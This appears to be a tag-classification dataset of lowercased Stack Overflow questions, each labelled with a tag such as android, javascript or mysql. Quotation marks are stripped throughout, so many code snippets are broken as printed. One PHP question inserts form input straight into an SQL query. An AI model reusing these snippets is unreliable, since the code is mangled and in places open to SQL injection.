can t add sub pages in a controller  using ror 2.3.8    this is my <code>cities_controller.rb</code>   <pre><code>class citiescontroller &lt; applicationcontroller   def show     @city = city.find(params[:id])     ...   end    def shops     ...   end    def countries     ...   end end </code></pre>   here s my <code>routes.rb</code>   <pre><code>map.resources :cities  :collection =&gt; {:shops =&gt; :get  :countries =&gt; :get} </code></pre>   the <code>show</code> url for each <code>id</code> is:   <pre><code>http://localhost/cities/1 </code></pre>   i want to have some contents <code>shops</code> and <code>countries</code> for each associated <code>id</code>  which i want:   <pre><code>http://localhost/cities/1/shops http://localhost/cities/1/countries </code></pre>   i can t get the pages showed in empty code in the first place. what have i done wrong     thanks.,ruby-on-rails
adding data to mysql won t work  can t figure out what i m doing wrong here:   <pre><code>&lt; php include  dbopen.php ; $fnamn = $_post[ fnamn ]; $enamn = $_post[ enamn ]; $email = $_post[ email ];  mysqli_query($dbconnect  insert into personer (fornamn  efternamn  email) values ($fnamn  $enamn  $email) ); </code></pre>    >    the include tag works fine  since i can create data in phpmyadmin and get it to write out the data  but adding won t work. ain t getting any errormessages either...    thanks in advance!,mysql
javascript beginner- how to obtain text occurring after/before a string value  in a string variable <pre><code>var mainvalue= this is first sentence. this is 2nd sentence. this is 3rd sentence. ; var matchwith= this is first ; </code></pre>   now i want to obtain the text in variable  mainvalue  that occurs after the value stored in variable matchwith.... it is assumed here that the value in  matchwith  is present in mainvalue.    another question that i have...what if the value in  matchwith  is stored more than once in mainvalue     i.e.         var mainvalue= this is first sentence. this is 2nd. repeat of this is first sentence. yet another sentence ;    now  i want to obtain the text in  mainvalue  that occurs before the last occurence of  this is first sentence .    also  i want to obtain the text in  mainvalue  that occurs after the first occurence of  this is first sentence     how do i do this     finally  how do i determine of the value  this is first sentence  occurs at beginning of mainvalue variable or not  again  how do i find out if this value occurs right at the end of mainvalue variable or not     i prefer pure js  but even use of libraries like jquery is ok with me...,javascript
how to convert uint16_t to int in objective-c   <a href= https://i.stack.imgur.com/koj2x.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/koj2x.jpg  alt= enter image description here ></a>how do i make hexvalue convert to int data type？,objective-c
how to include a third option for a drill down table view   i ll try this again. i need help in getting a third option working using a drill down table view. as it sits right now  the application shows all three in the table when the application runs  but when clicked on the second or third  it will only show the view for the third. i read some tutorials on .plist but i wanted to know if it was possible to do it using a condition set for all three. here s the code that i have:   <pre><code>- (void)tableview:(uitableview *)tableview didselectrowatindexpath:(nsindexpath *)indexpath { if (indexpath.row == 0)      [details setcontent:arrautolock];    /*(indexpath.row == 1)      [details setcontent:arrpasscodelock];*/     else          [details setcontent:arrrestrictions];          [[self navigationcontroller] pushviewcontroller:details animated:yes]; </code></pre>,iphone
how can i find the longest and shortest line in a text file   i am new to java so bare with me. i am writing a program that uses the scanner method to read a text file and outputs: the number of words  number of sentences  average number of words per sentence  the longest sentence and shortest sentence. so far i have everything but the longest and shortest sentences and i can t seem to figure them out. here s what i have so far...   <pre><code>import java.util.scanner; import java.io.*; import java.io.ioexception; public class testscanner {   public static void main(string args[])   {     scanner in = new scanner(system.in);         string x = in.next();         double count=0;         int nbsentences = 0;         while(in.hasnext())         {   string word = in.next();             nbsentences +=getnbsentences(word);             count++;         }         system.out.println( number of words:  + count);         system.out.println( number of sentences:   + nbsentences);         system.out.println( average words in sentence:   + (count/nbsentences));         system.out.println( longest sentence:  );         system.out.println( shortest sentence:  );  }  //**************************number of sentences*********************************  public static int getnbsentences(string word)   {         int result = 0;        char[] chars = word.tochararray();        for(character c : chars)         {    if(c ==  .  || c ==  !  || c ==    )              {   result++;              }        }        return result;  }  //*************************longest sentence*************************************    //this is where im stuck....    } </code></pre>   if anyone could help i would highly appreciate it!!,java
list all referenced (don t think loaded) assemblies for a given .net solution  i need to create a unit test to enumerate the locations of all the referenced assemblies for a given .net solution. i have been searching and have not been able to find anything that suits the problem.    i took a look at <a href= https://stackoverflow.com/questions/2384592/c-net-is-there-a-way-to-force-all-referenced-assemblies-to-be-loaded-into-the >is there a way to force all referenced assemblies to be loaded into the app domain </a> and <a href= https://stackoverflow.com/questions/4193516/get-the-paths-of-all-referenced-assemblies >get the paths of all referenced assemblies</a>    the getassemblies() method gives us the assemblies that have been loaded. but i also want the paths of those assemblies that have not been loaded.    simply speaking  i just want to know the locations of all the assemblies that i see when expand the  references  of the various projects in visual studio.    if i look at the .csproj files then i can see all the references. could there be any build scripty solution to this  just wondering.    ideas     thanking in anticipation.,.net
running .net core 2.0 framework dependent deployment on raspberry  i have created a .net 2.0 core app with visual studio and deployed it to my raspberry pi 3 using the self contained publish option - see the excellent instructions <a href= https://blogs.msdn.microsoft.com/david/2017/07/20/setting_up_raspian_and_dotnet_core_2_0_on_a_raspberry_pi/  rel= nofollow noreferrer >here</a>.  it runs fine.  the project s target framework is  .net core 2.0 .    my question is: how do i run a framework dependent deployment of this app on my raspberry   i tried using  dotnet publish  to create a fdd but when i run it on my raspberry with  dotnet helloworld.dll  i receive an error:    <blockquote>    the specified framework  microsoft.netcore.app   version  2.0.0  was   not found.  </blockquote>   so apparently installing the .net core runtime on the raspberry doesn t include the netcore.app framework.  can the framework be installed on the raspberry and if so  how,.net
runtime multiplication  hi  i have a products model and a dealers model . i am creating an app in which a dealer selects a product and then he s routed to purchase order form . i want to create a dynamic multiplication of products*price = total price i.e. when the form opens   he adds the quantity of the product and the default price is multiplied with no. of products to give total price.    what shall i do      please guide. thanks,ruby-on-rails
typeerror: cannot read property  $setpristine  of undefined  i m getting the error <code>typeerror: cannot read property  $setpristine  of undefined</code> in the following code where i try to execute <code>inputctrl.inputform.$setpristine();</code>    inputform.js   <pre><code>(function(){     var inputform = angular.module( input-form   [ ]);      inputform.directive( inputform   function(){         return {             restrict:  e               templateurl:  input-form.html               scope: {data:  = }              controlleras:  inputctrl               bindtocontroller: true              controller: [ $log    $scope   function($log  $scope){               var inputctrl = this;               inputctrl.inputvalues = millennialsdefault;                inputctrl.emitdata = function() {                 inputctrl.data =  inputctrl.inputvalues.topic1data;                  $log.debug( emitting    +                          inputctrl.inputvalues.topic1name +    to    +                          inputctrl.inputvalues.topic2name +    );               };                inputctrl.swapinput = function(){                   var swappedinputvalues = {                           topic1name: inputctrl.inputvalues.topic2name                            topic1total: inputctrl.inputvalues.topic2total                            topic1data: inputctrl.inputvalues.topic2data                            topic2name: inputctrl.inputvalues.topic1name                            topic2total: inputctrl.inputvalues.topic1total                            topic2data: inputctrl.inputvalues.topic1data                    };                    inputctrl.inputvalues = swappedinputvalues;               };                inputctrl.clearinput = function(){                   inputctrl.inputvalues =                    {                           topic1name:                               topic1total: undefined                            topic1data:                               topic2name:                               topic2total: undefined                            topic2data:                       };                   inputctrl.inputform.$setpristine(); // typeerror: cannot read property  $setpristine  of undefined </code></pre>   what am i doing wrong,angularjs
uibutton animation issue - ios 7  i am using ios 7. i had use button on scroll view. and i am also use touch down and touch up inside methods for <code>uibutton</code>.  now in ios 7 while i am scroll the next page touch down method called every time and page can t scroll.  this issue occurs only in ios 7 and specific in ipad not in ipod touch and iphone.,ios
nstimeinterval always giving 0 interval  i want to compare two dates and i m trying to do this by using <code>timeintervalsincedate</code> method with the below code :   <pre><code>nstimeinterval timeinterval; timeinterval = ([dateto timeintervalsincedate:datefrom]/86400);  nslog(@ --- intertval= %d   timeinterval); </code></pre>   but i am always getting 0 difference though the dates are different. i tried many ways but not getting any solution.,objective-c
restricting scope of a class member beyond private  i was wondering if there was a way to scope access of a class member specifically to get/set implementations in c# to reduce the chance of me accidentally accessing them directly. something like private but only allows get/set to access it  i was thinking that i could wrap each variable in their own class but that seems overkill for the restriction i m looking for. thanks,c#
how to get element within the parent div by class   i want to grab <code>text to grab</code> below:   <pre><code>&lt;div class= article-box &gt;                         &lt;div&gt;         &lt;a href= /someurl  class= article-text &gt;text to grab&lt;/a&gt;     &lt;/div&gt;     &lt;br&gt;     &lt;div&gt;         &lt;a href= /anotherurl  class= q-author &gt;the author&lt;/a&gt;     &lt;/div&gt;     &lt;br&gt;     &lt;ul class= share-buttons pull-left &gt;         &lt;li&gt;             &lt;a href= #  class= tw-share &gt;share on facebook&lt;/a&gt;         &lt;/li&gt;         &lt;li&gt;             &lt;a href= #  class= tw-share &gt;tweet it&lt;/a&gt;         &lt;/li&gt;     &lt;/ul&gt; &lt;/div&gt; &lt;div class= article-box &gt;     //similar to above &lt;/div&gt;  </code></pre>   my jquery is:   <pre><code>jquery(document).ready(function() {     jquery( .tw-share ).click(function() {       var article = $(this).parent( .article-text  ); //&lt;--here is the problem       console.log( article is:    article);       var aurl= window.location.href;          window.location= https://twitter.com/intent/tweet text=  + article +  &amp;url= +aurl;      }); });  </code></pre>   but it fails. how can i fix it,jquery
how do i set a cursor css for text inside li element   how do i set a cursor css for text inside li element     the cursor is an arrow when only on the li  outside of any text inside. when i move it to the text it turns into a text cursor. i want the cursor to stay the same all the time.,css
html imports like layout engine  on php  the implementation looks very simple  suppose we have files: header.html  body.html. then our code index.php will look something like this:   <pre><code>&lt;html&gt;   &lt;body&gt;   &lt;  = require(  header.html  ) &gt;     &lt;div class =  main &gt;       &lt;  = require(  body.html  ) &gt;     &lt;/div&gt;   &lt;/body&gt; &lt;/html&gt; </code></pre>   is it possible to do something like this    <pre><code>&lt;html&gt;      &lt;body&gt;     &lt;link rel =  import  href =  header.html &gt;     &lt;div class =  main &gt;       &lt;link rel =  import  href =  body.html &gt;     &lt;/div&gt;     &lt;script&gt;       / * a magic js function that replaces &lt;link rel =  import &gt; with the content of the html document * /    &lt;/script&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   ps i understand that this will work on a very limited number of browsers.,javascript
how do i call by reference in python  i ve wrote his c code :   <pre><code> void cautare_element_liber(int *linie int *coloana) {                                                         //cauta un element liber in matrice transmitand linia si coloana acestuia     *linie=0;     *coloana=0;     int i j ok=0;     for(i=1;i&lt;=9 &amp;&amp; ok==0;i++)         for(j=1;j&lt;=9&amp;&amp; ok==0;j++)         if(a[i][j] == 0 )         {         *linie = i;         *coloana=j;         ok=1;         } }     cautare_element_liber(&amp;linie &amp;coloana); </code></pre>   and in python it give me an error at the cautare_element_liber(linie coloana)   <pre><code>def cautareelementliber(linie  coloana):     linie = 0     coloana = 0     ok = 0     for iiterator in range(1  10) and ok == 0:         for jiterator in range(1  10) and ok == 0:             if a[iiterator][jiterator] == 0:                 linie = i                 coloana = jiterator                 ok = 1  cautareelementliber(linie  coloana) </code></pre>    linie  is not defined,python
adding some numbers using php  here is a situation:   <pre><code>race 1 = 7 race 2 = 3 race 3 = 1 race 4 = 2 race 5 = 6 race 6 = 2 race 7 = 7 race 8 = 3 </code></pre>   the smaller the number the better since these are race positions. race number 1 must be added  regardless of it s magnitude and must be added to any 5 others that are selected on merit. so  basically i want to use php to add up 6 of the best races out of the 8 and the 6 must include 1  regardless of whether it is among the best    i thoughtn of sorting the numbers by having them sorted from lowest to highest and adding the first 6. the problem is that if race 1  is not among the best 6  then this cannot work.     any help will be appreciated  i am still thinking so i cannot provide anything in terms of what i have tried as everything is still at thought level!,php
pointer to a structure  this will give a proper output even though i have not allocated memory and have declared a pointer to structure two inside main   <pre><code>    struct one     {     char x;     int y;     };      struct two     {     char a;     struct one * one;     };      main()     {     struct two *two;     scanf( %d  &amp;two-&gt;one-&gt;y);     printf( %d\n  two-&gt;one-&gt;y);     } </code></pre>   but when i declare a pointer to two after the structure outside main i will get segmentation fault but why is it i don t get segmentation fault in previous case    <pre><code>    struct one     {     char x;     int y;     };      struct two     {     char a;     struct one * one;     }*two;       main()     {     scanf( %d  &amp;two-&gt;one-&gt;y);     printf( %d\n  two-&gt;one-&gt;y);     } </code></pre>,c
should i use .net 2.0 or user any newer version   i have almost completed my .net app in .net 2.0 on windows 8.1 the reason for developing in 2.0 was that i wanted to run the app on windows7  8 and 8.1 because .net 2.0 was available in all. so my question is that should i switch to any newer version of .net or stick to 2.0  please tell me any reason to use newer .net framework and side effects of using 2.0 or is there any other way to run my app on all version of windows     regards.,.net
parsing from string to float returns float value with question marks in it  so as the title says i am trying to parse a string value into a float value but i am getting a number format exception like this <strong><em>invalid float:  3  .  5  2 </em></strong> the actual number is 3.52. oh and im doing it all in a fragment which causes me troubles. im also not using any decimalformats on this float value when im saving it to a file. so what am i doing wrong  :(<br /> the way i am reading/writing a file is this:   <pre><code>file = new file(environment             .getexternalstoragedirectory()             + file.separator             +  userzinsenarray.txt );   save.setonclicklistener(new onclicklistener() {          @override         public void onclick(view v) {             string outputstring =   ;             try {                  if (!file.exists())                     file.createnewfile();                 system.out.println( file exists:  + file.exists());                 fileoutputstream stream = new fileoutputstream(file);                 dataoutputstream ps = new dataoutputstream(stream);                 for (int i = 0; i &lt; mainactivity.prozentenarray.size(); i++) {                     outputstring+=(  +mainactivity.prozentenarray.get(i));                     outputstring+= \n ;                 }                 ps.writechars(outputstring);                 ps.close();                 stream.close();             } catch (filenotfoundexception e) {                 // todo auto-generated catch block                 e.printstacktrace();             } catch (ioexception e) {                 // todo auto-generated catch block                 e.printstacktrace();             }         }     });  load.setonclicklistener(new onclicklistener() {          @override         public void onclick(view v) {               string line=null;                 try {                     inputstream in = new fileinputstream(file);                     inputstreamreader input = new inputstreamreader(in);                     bufferedreader buffreader = new bufferedreader(input);                     while (( line = buffreader.readline()) != null) {                         mainactivity.prozentenarray.add(float.parsefloat(line));                                                 }                     in.close();                 } catch(numberformatexception e){                    system.out.println( numberformatexception:  +e.getmessage());                 }catch(exception e){                     system.out.println( other exp:  +e.getmessage());                 }          }     }); </code></pre>,android
return a dynamically generated function without eval()  i m trying to dynamically create function when iterating over an array and  i need the arguments in the array to be set according to the value of the current index.    for example:   <pre><code>var array = [ apple   orange   banana ]; </code></pre>   i need to have these three functions:   <pre><code>function() { return  apple  }; function() { return  orange  }; function() { return  banana  }; </code></pre>   i tried to return a constructed function from an external one but the expression in it won t evaluate and i end up with three of these:   <pre><code>function() { return array[i] }; </code></pre>   is there a way to dynamically create such a function without using eval(),javascript
error  unterminated string literal  in jquery plugin  i ve got a very strange error  been trying for ages to find it out in this file:    <a href= http://4nf.org/js/ga.js  rel= nofollow >http://4nf.org/js/ga.js</a>    maybe you can spot it at a glance - i seem to be blind at the moment...    any help is greatly appreciated  cause i m in real time trouble    thanks in advance!,jquery
how can i wrap text around an image in the bottom right of its container   i want to place my link button in the bottom right corner of its containing div and have the text wrap around it. the only way i can think is to use the code below (absolute positioning) and put break tags in my paragraph to force the text not to overlap the image button. is there css that can acheive the same without needing to use the break tags in the html  the word  aliqua  should drop onto the next line (below).    <img src= https://i.stack.imgur.com/x1ekl.png  alt= enter image description here >    here is my code:   <pre><code>#teaser-cell {    float: left;   width: 164px;   height: 164px; } #teaser-cell .link-button {   display: block;   width: 35px;   height: 35px;   position: relative;   bottom: 35px;   left: 129px;   background: url(sprite.png) 70px; }  &lt;div id= teaser-cell &gt;   &lt;span&gt;teaser 1&lt;/span&gt;   &lt;p&gt;lorem ipsum dolor sit amet  consectetur adipisicing elit  sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.&lt;/p&gt;   &lt;a class= link-button  href= # &gt;&lt;/a&gt; &lt;/div&gt; </code></pre>,css
after introducing link in frame system giving error failed to load resource net::err_file_not_found  i have introduced frame in div which is having hyperlink in it. when i am trying to debug the html in chrome  it is giving me an error file_not_found please find below code,html
dynamically display string text on android screen  i have an array of classes that contain two strings for each class.  i m trying to display these two strings (they re sentences) on the screen when a button is clicked at two different locations (middle of the screen  and the other sentence right above that).    the problem is that i only know how to get text on the screen through the xml layout file  not dynamically.  how would i go about doing this   i already have the buttons and background done in xml.    thanks!,android
how do i only show the  arrow  in a html select element   basically  i want to be able to just show the drop-down arrow and not the text-box associated to that drop-down arrow. i don t want to display the value  but the javascript onchange event will still fire if someone changes the selection.    idea s     paul,html
pass checkbox values to a delete method in rails  i have a list of user objects     <pre><code>&lt;% @users.each do |user| %&gt;           &lt;tr&gt;             &lt;td&gt;&lt;%= check_box_tag  ids[]   user.id  false  :class =&gt;  table-row-checkbox  %&gt;&lt;/td&gt;             &lt;td&gt;               &lt;%= link_to user.email  edit_user_path(user)  %&gt;             &lt;/td&gt;           &lt;/tr&gt;         &lt;% end %&gt; </code></pre>   i want to create a link delete and delete all the checked users.   <pre><code>    &lt;%= link_to  delete   delete_user_path  method: :delete  data: { confirm:  are you sure   }  class:  btn btn-danger  %&gt; </code></pre>   how can i pass all the checked checkboxes to the destroy method,ruby-on-rails
placing button in a corner   actually im fighting with layouts and i have problem.when i add button in relativelayout  he s not exact in place i want him to be.    <a href= http://i.stack.imgur.com/ihuvg.jpg  rel= nofollow >that is how it looks now</a>    <a href= http://i.stack.imgur.com/bm7wj.jpg  rel= nofollow >that is how i want it to looks like</a>   <pre><code>&lt;button     android:layout_width= wrap_content      android:layout_height= wrap_content      android:text= new button      android:id= @+id/button      android:layout_alignparentright= true      android:layout_alignparentend= true  /&gt; </code></pre>   thats what i got.so how i can make button be in corner  thats the first question. second is  how i can delete this blue stuff from top     xml looks how he looks when start project. i just add button   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;relativelayout xmlns:android= http://schemas.android.com/apk/res/android  android:layout_width= match_parent  android:layout_height= match_parent  android:paddingbottom= @dimen/activity_vertical_margin  android:paddingleft= @dimen/activity_horizontal_margin  android:paddingright= @dimen/activity_horizontal_margin  android:paddingtop= @dimen/activity_vertical_margin &gt;   &lt;button     android:layout_width= wrap_content      android:layout_height= wrap_content      android:text= new button      android:id= @+id/button      android:layout_alignparentright= true      android:layout_alignparentend= true  /&gt; </code></pre>,android
can i hang up a call programmatically in android   i hope to block some crank call  so i need to hang up some call programmatically in android.    the following fragment is from <a href= https://stackoverflow.com/questions/599443/how-to-hang-up-outgoing-call-in-android >how to hang up outgoing call in android </a><br> does it mean the technique of hang up call will be block at any time in further android version <br> does it mean i can t write an app to hang up a call     <em>the only way to hang up that i ve encountered so far  is to do so through java reflection. as it is not part of the public api  you should be careful to use it  and not rely upon it. any change to the internal composition of android will effectively break your application.</em>,android
mysql group by having  i have a table:   <pre><code>id  ip              count   time                city      country  1   217.165.93.78   1   2013-08-05 02:24:10     dubai     united arab emirates  2   122.178.229.243 1   2013-08-06 02:25:37     bangalore india  3   27.97.27.185    1   2013-08-06 02:26:48     pune      india  4   217.165.93.78   1   2013-08-06 02:39:12     dubai     united arab emirates </code></pre>   i need to get result on grouping ip based on dates.,mysql
iphone mediaplayercontroller  iam using mediaplayercontroller in iphone and in this i am able to run video from my app resorce folder but when i want to play youtube video on it then i found server is not configured error i am able to run it through two method 1)by openurl 2)mapview but when i passes url to it then it not play video i have download the sample code from apple site and i found same error for that server is not configured.. nad after seraching in thenet that this is erroo of bad url which i got from the url is it correct or not i am not sure..i am writing my code here    <pre><code>// has the user entered a movie url   if (self.movieurltextfield.text.length &gt; 0)  {   nsurl *movieurl = [nsurl urlwithstring:self.movieurltextfield.text];   if (movieurl)   {    if ([movieurl scheme]) // sanity check on the url    {     movieplayerappdelegate *appdelegate = (movieplayerappdelegate *)[[uiapplication sharedapplication] delegate];      // initialize a new mpmovieplayercontroller object with the specified url  and     // play the movie     [appdelegate initandplaymovie:movieurl];    }   }  } </code></pre>   waiting for the fruitful result....thanks,iphone
fprintf not works with scanf in c  this is a part of my code. this is very simple but when i open log.txt there isn t anything on this      <pre><code>int main() {      file *fp = fopen( log.txt    w+ );     fprintf(fp   %s\t%s\t%s\n    date    time execution time(ms)    /path );     char path[200];     while (1)     {          printf( enter path :  );         scanf( %s   &amp;path);          fprintf(fp   %d-%d-%d %d:%d:%d\t%ld\t%s\n   tm.tm_year + 1900                  tm.tm_mon + 1  tm.tm_mday  tm.tm_hour  tm.tm_min  tm.tm_sec                  elapsed  path);     } } </code></pre>   but with this change is work    <pre><code>int main() {      file *fp = fopen( log.txt    w+ );     fprintf(fp   %s\t%s\t%s\n    date    time execution time(ms)    /path );     char path[200];      printf( enter path :  );     scanf( %s   &amp;path);      fprintf(fp  %d-%d-%d %d:%d:%d\t%ld\t%s\n   tm.tm_year + 1900  tm.tm_mon + 1  tm.tm_mday  tm.tm_hour  tm.tm_min  tm.tm_sec elapsed path); }   </code></pre>   and this code works too :   <pre><code>int main() {      file *fp = fopen( log.txt    w+ );     fprintf(fp   %s\t%s\t%s\n    date    time execution time(ms)    /path );      while (1)     {          fprintf(fp   %d-%d-%d %d:%d:%d\t%ld\t%s\n   tm.tm_year + 1900                  tm.tm_mon + 1  tm.tm_mday  tm.tm_hour  tm.tm_min  tm.tm_sec                  elapsed   kkjk );     } } </code></pre>   but i don t know why first code not works . please help me,c
creating 2 tables in 1 database in android  in this example  i want to have a database(databse1.db) which contains two tables(sentmessages and savedmessages ). the database is getting created but not the tables. i have created the database and the tables externally and copied it in assets folder . from there it is programatically copied into data/data/.......  . can anyone help me out     this is my databasesactivity.java class   <pre><code>package com.example.messagingapp2;    import android.os.bundle; import android.app.activity; import android.database.cursor; import android.view.view; import android.widget.edittext; import android.widget.toast;  public class databasesactivity extends activity  {         edittext text1 text2;         string str1 str2;         dbadapter db;          @override         protected void oncreate(bundle savedinstancestate)          {             super.oncreate(savedinstancestate);             setcontentview(r.layout.activity_main);             text1 = (edittext)findviewbyid(r.id.widget33);             text2 = (edittext)findviewbyid(r.id.widget36);             db = new dbadapter(this);             db.createdatabase();         }          public void onclicksend(view v)          {             str1=text1.gettext().tostring();             str2=text2.gettext().tostring();             db.open();             long id = db.insertcontact1(str1 str2);             db.close();         }         public void onclicksave(view v)          {             str1=text1.gettext().tostring();             str2=text2.gettext().tostring();             db.open();             long id = db.insertcontact2(str1 str2);             db.close();               } </code></pre>   this is my dbadapter.java class which has databasehelper as an inner class   <pre><code>package com.example.messagingapp2;  import java.io.file; import java.io.fileoutputstream; import java.io.ioexception; import java.io.inputstream; import java.io.outputstream;  import android.content.contentvalues; import android.content.context; import android.database.cursor; import android.database.sqlexception; import android.database.sqlite.sqlitedatabase; import android.database.sqlite.sqliteopenhelper; import android.util.log;  public class dbadapter      {              protected static final string tag =  dataadapter ;          private final context context;         private sqlitedatabase db;             databasehelper dbhelper;                  public dbadapter(context ctx)              {                 this.context = ctx;                 dbhelper = new databasehelper(context);             }              public dbadapter createdatabase() throws sqlexception              {                 try                  {                     dbhelper.createdatabase();                 log.e(tag   createdatabase succesful );                 }                 catch (ioexception e)                  {                     log.e(tag  e.tostring() +    unabletocreatedatabase );                     throw new error( unabletocreatedatabase );                 }                 return this;             }              public dbadapter open() throws sqlexception              {                 try                  {                 dbhelper.opendatabase();                 dbhelper.close();                     db = dbhelper.getreadabledatabase();                 }                 catch (sqlexception e)                  {                     log.e(tag   open &gt;&gt; + e.tostring());                     throw e;                 }                 return this;             }              public void close()              {                 dbhelper.close();              }              public long insertcontact1(string too  string message)              {                  contentvalues initialvalues = new contentvalues();                         initialvalues.put( too   too); //adds a value to the set.                 initialvalues.put( message   message);                  return db.insert( sentmessages   null  initialvalues);              }             public long insertcontact2(string too  string message)              {                  contentvalues initialvalues = new contentvalues();                         initialvalues.put( too   too); //adds a value to the set.                 initialvalues.put( message   message);                  return db.insert( savedmessages   null  initialvalues);              } } </code></pre>,android
is there a difference between window.onload = stuff and window.onload = stuff()   i m most familiar with python and somewhat with c  and when i see this syntax in js it really confuses me   <pre><code>function begin () {     console.log( done did it ); }  window.onload = begin(); // the same output as window.onload = begin;   // this one </code></pre>   in python  one would be passing the return value of the function  the other a pointer to the function. what are the semantics in js for these two statements,javascript
link on image extends the image tag  i cannot understand why my a href link extends my picture. i have set a width and height on the picture. <a href= http://vouzalis.com/public.html  rel= nofollow noreferrer >my example site</a>. i look around on stackoverflow  where i also tried to set the height and width on the a href.    the reason why i use tables is based on the foundation framework for emails.    my code is looking like this:    <strong>html</strong>   <pre><code>&lt;body&gt;   &lt;table class= body &gt;     &lt;tr&gt;       &lt;td class= center  align= center  valign= top &gt;         &lt;!-- logo start --&gt;             &lt;table align= center  class= wrapper header float-center background-color__blue &gt;               &lt;tbody&gt;                 &lt;tr&gt;                   &lt;td class= wrapper-inner &gt;                     &lt;table align= center  class= container  style= background-color:transparent &gt;                       &lt;tbody&gt;                         &lt;tr&gt;                           &lt;td&gt;                             &lt;table class= row collapse &gt;                               &lt;tbody&gt;                                 &lt;tr&gt;                                   &lt;th&gt;                                     &lt;a href= https://www.google.dk/ &gt;&lt;img src= https://3.imimg.com/data3/hr/nw/my-18669487/english-images-2-5-animal-care-20p-26s-250x250.jpg  alt= some text  align= center  class= float-center  width= 250  height= 80 &gt;&lt;/a&gt;                                   &lt;/th&gt;                                   &lt;th class= expander &gt;&lt;/th&gt;                                 &lt;/tr&gt;                               &lt;/tbody&gt;                             &lt;/table&gt;                           &lt;/td&gt;                         &lt;/tr&gt;                       &lt;/tbody&gt;                     &lt;/table&gt;                   &lt;/td&gt;                 &lt;/tr&gt;               &lt;/tbody&gt;             &lt;/table&gt;             &lt;!-- logo end --&gt;       &lt;/td&gt;     &lt;/tr&gt;   &lt;/table&gt; &lt;/body&gt; </code></pre>,html
can one mimic lexical scoping with context managers   in an <a href= https://stackoverflow.com/questions/14986856 >earlier post</a> i asked about ways to avoid the intermediate <code>tmp</code> variable in patterns like:   <pre><code>tmp = &lt;some operation&gt; result = tmp[&lt;boolean expression&gt;] del tmp </code></pre>   ...where <code>tmp</code> is a pandas object.  for example:   <pre><code>tmp = df.xs( a )[ ii ] - df.xs( b )[ ii ] result = tmp[tmp &lt; 0] del tmp </code></pre>   the bee in my bonnet about this pattern basically comes from a longing for honest-to-goodness lexical scoping<sup>1</sup> that just won t die  even after years of programming python.  in python<sup>2</sup> i make do with explicit calls to <code>del</code>      it occurs to me that it <em>may</em> be possible to use context managers to mimic lexical scoping in python.  it would look something like this:   <pre><code>with my(df.xs( a )[ ii ] - df.xs( b )[ ii ]) as tmp:     result = tmp[tmp &lt; 0] </code></pre>   to be able to mimic lexical scoping  the context manager class would need to have a way to <code>del</code>ete the variable in the calling scope that gets assigned the value returned by its (the context manager s)  <strong>enter</strong>  method.    for example  with a generous dose of cheating:   <pre><code>import contextlib as cl  # herein lies the rub... def deletelexical():     try: del globals()[ h ]     except: pass  @cl.contextmanager def my(obj):     try: yield obj     finally: deletelexical()  with my(2+2) as h:     print h try:     print h except nameerror  e:     print  %s: %s  % (type(e).__name__  e) # 4 # name error: name  h  is not defined </code></pre>   of course  the problem is to implement <code>deletelexical</code> for real.  can it be done     edit: as abarnert pointed out  if there had been a pre-existing <code>tmp</code> in the surrounding scope  <code>deletelexical</code> would not restore it  so it could hardly be regarded as an emulation of lexical scoping.  the correct implementation would have to save any existing <code>tmp</code> variables in the surrounding scope  and replace them at the end of the with-statement.   <hr>   <sup>1</sup>e.g.  in perl  i would have coded the above with something like:   <pre><code>my $result = do {     my $tmp = $df-&gt;xs( a )[ ii ] - $df-&gt;xs( b )[ ii ];     $tmp[$tmp &lt; 0] }; </code></pre>   or in javascript:   <pre><code>var result = function () {     var tmp = df.xs( a )[ ii ] - df.xs( b )[ ii ];     return tmp[tmp &lt; 0]; }(); </code></pre>   edit: in response to abarnert s post &amp; comment: yes  in python one could define   <pre><code>def tmpfn():     tmp = df.xs( a )[ ii ] - df.xs( b )[ ii ]     return tmp[tmp &lt; 0] </code></pre>   ...and this would indeed prevent cluttering the namespace with the henceforth useless name <code>tmp</code>  but it does so by cluttering the namespace with the henceforth useless name <code>tmpfn</code>.  javascript (and perl also  btw  among others) allows <strong><em>anonymous</em></strong> functions  while python doesn t.  in any case  i consider javascript s anonymous functions as a somewhat cumbersome way to get lexical scoping; it s certainly better than nothing  and i use it heavily  but it s nowhere near as nice as perl s (and by the latter i mean not only perl s <code>do</code> statement  but also the various other ways it provides to control scope  both lexical and dynamic).    <sup>2</sup>i don t need to be reminded of the fact that only an infinitesimally small fraction of python programmers give a rat s tail about lexical scoping.,python
calculate grand total from sub-total  i have a table of sub-totals.   <pre><code>&lt;table&gt;  &lt;tr&gt;   &lt;td&gt;&lt;span id= subtotal_1 &gt;100&lt;/span&gt;&lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td&gt;&lt;span id= subtotal_2 &gt;150&lt;/span&gt;&lt;/td&gt;  &lt;/tr&gt; &lt;/table&gt; </code></pre>   here is my javascript code to calculate grand total :   <pre><code>var grandtotal = 0; $( span[id^=subtotal_] ).each(function() {     grandtotal += parseint($(this).val()); }); </code></pre>   but the <code>grandtotal</code> returns nothing. what did i miss,jquery
javascript empty string slice  i was using a for loop to conditionally iterate over html input and concatenate a pipe separated string. because i didn t want an ending pipe character i used <code>foo.slice(0  -1)</code>.    it occurred to me that it is possible that there is no input and so <code>foo</code> would be an empty string. i was not sure if <code>foo.slice(0  -1)</code> is cross browser safe in this case so i tried this:   <pre><code>var foo =   ; foo = foo.slice(0  -1); </code></pre>   firefox s  browser console  did not complain surprisingly so i assume some kind of bounds checking is going on but wanted to ask to be sure. i know that a test like <code>if (foo) …</code> would be enough to check for an empty string but was unsure if it is necessary. i couldn t seem to find anything about this in references: <a href= https://developer.mozilla.org/en-us/docs/web/javascript/reference/global_objects/array/slice  rel= nofollow >https://developer.mozilla.org/en-us/docs/web/javascript/reference/global_objects/array/slice</a>,javascript
